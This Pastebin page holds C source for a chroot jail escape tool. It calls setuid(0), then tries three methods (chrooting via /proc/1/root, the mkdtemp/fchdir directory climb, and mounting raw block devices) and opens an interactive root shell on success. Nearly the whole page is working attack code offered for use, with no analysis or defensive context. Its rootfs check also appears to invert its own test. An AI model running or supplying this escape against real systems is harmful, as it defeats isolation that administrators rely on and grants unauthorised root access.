Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- /*
- * Simple chroot jail escape
- * Copyright (c) 2015, Alexandre Hamelin <alexandre.hamelin gmail.com>
- */
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <fcntl.h>
- #include <string.h>
- #include <sys/stat.h>
- #include <sys/types.h>
- #include <sys/mount.h>
- int shell()
- {
- int ret;
- printf("Succeeded. Here's a shell.\n");
- ret = execl("/bin/sh", "sh", "-i", NULL);
- perror("execl");
- return ret;
- }
- int chdir_escape()
- {
- int ret;
- char tmpl[] = "esc.XXXXXXXXXXXXXXXX", *retp;
- retp = mkdtemp(tmpl);
- if (retp == NULL) {
- perror("mkdtemp");
- return 1;
- }
- int fd = open(".", O_RDONLY);
- if (fd < 0) {
- perror("open");
- return 1;
- }
- ret = chroot(retp);
- if (ret < 0) {
- perror("chroot");
- return 1;
- }
- ret = fchdir(fd);
- if (ret < 0) {
- perror("fchdir");
- return 1;
- }
- close(fd);
- rmdir(retp);
- struct stat curr, parent;
- while (stat(".", &curr) == 0 && stat("..", &parent) == 0 &&
- curr.st_ino != parent.st_ino) {
- ret = chdir("..");
- if (ret < 0) {
- perror("chdir");
- return 1;
- }
- }
- ret = chroot(".");
- if (ret < 0) {
- perror("chroot");
- return 1;
- }
- ret = shell();
- return ret;
- }
- int proc_escape()
- {
- struct stat st_init, st_root;
- char *init_root;
- int ret;
- stat("/", &st_root);
- ret = stat("/proc/1/root", &st_init);
- if (ret == 0 && st_init.st_ino != st_root.st_ino) {
- ret = chroot("/proc/1/root");
- if (ret < 0) {
- perror("chroot");
- return ret;
- }
- ret = shell();
- return ret;
- }
- /* fails since /proc/1/root == / or /proc is not mounted*/
- return -1;
- }
- int mount_fs(dev_t dev, const char *fstype, const char *mnt)
- {
- int ret;
- const char *syscall;
- mkdir(mnt, 0755);
- ret = mknod("/device", S_IFBLK | 0600, dev);
- if (ret == 0) {
- ret = mount("/device", mnt, fstype, MS_MGC_VAL | MS_NOATIME, NULL);
- syscall = "mount";
- }
- else
- syscall = "mknod";
- if (ret < 0) {
- perror(syscall);
- unlink("/device");
- }
- return ret;
- }
- int isrootfs(const char *mnt)
- {
- char *dirs[] = { "proc", "dev", "home", "usr", "var" };
- const int dir_count = sizeof(dirs) / sizeof(dirs[0]);
- char path[100];
- int i;
- int err = 0;
- for (i = 0; i < dir_count; i++) {
- struct stat st;
- strcpy(path, mnt);
- strcat(path, "/");
- strcat(path, dirs[i]);
- err |= stat(path, &st);
- }
- return err;
- }
- int mount_escape()
- {
- dev_t devs[] = {makedev(8, 0), makedev(8, 1), makedev(8, 2)};
- const int dev_count = sizeof(devs) / sizeof(devs[0]);
- char *fs_types[] = { "ext4", "ext3", "ext2", "reiserfs", "xfs" };
- const int fs_count = sizeof(fs_types) / sizeof(fs_types[0]);
- int i, j, ret;
- const char *mnt = "/mnt";
- mkdir(mnt, 0755);
- for (i = 0; i < dev_count; i++) {
- for (j = 0; j < fs_count; j++) {
- ret = mount_fs(devs[i], fs_types[j], mnt);
- if (ret == 0) {
- if (isrootfs(mnt)) {
- printf("found a potential rootfs\n");
- chroot(mnt);
- chdir("/");
- ret = shell();
- }
- umount(mnt);
- }
- }
- }
- umount(mnt);
- unlink("/device");
- rmdir(mnt);
- return ret;
- }
- int main(int argc, char **argv)
- {
- int ret;
- ret = setuid(0);
- if (ret < 0) {
- perror("setuid");
- return 1;
- }
- int (*methods[])() = {proc_escape, chdir_escape, mount_escape, NULL},
- (**funcp)();
- for (funcp = methods; *funcp != NULL; funcp++) {
- ret = (*funcp)();
- }
- return ret;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement